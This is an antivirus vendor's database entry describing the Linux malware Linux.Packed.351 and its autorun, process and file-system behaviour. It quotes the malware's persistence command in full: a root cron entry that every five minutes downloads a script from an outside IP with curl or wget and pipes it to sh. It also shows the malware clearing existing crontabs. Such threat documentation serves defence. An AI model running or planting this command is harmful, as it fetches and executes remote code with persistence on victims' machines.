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Linux.Packed.351

Added to the Dr.Web virus database: 2019-04-18

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/rc.local
Creates or modifies the following symlinks:
  • /etc/rc6.d/S20loop
Malicious functions:
Launches processes:
  • sh -c crontab -l >/tmp/.tmpcronFile
  • crontab -l
  • sh -c crontab -r
  • crontab -r
  • sh -c (echo \"*/5 * * * * (curl http://111.90.159.106/r.sh||wget -q -O- http://111.90.159.106/r.sh)|sh\" ; crontab -l)| crontab > /dev/null 2>&1
  • crontab
  • /root/.loop
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.3u9Wv9
  • /tmp/rc.local1
  • /root/.loop
Creates or modifies files:
  • /tmp/st
  • /tmp/.tmpcronFile
  • /var/spool/cron/crontabs/tmp.3u9Wv9
  • /tmp/rc.local1
  • /root/.loop
Deletes files:
  • /tmp/.tmpcronFile
  • /tmp/rc.local1
  • /root/.loop
Locks files:
  • /tmp/st
  • /dev/null

Curing recommendations


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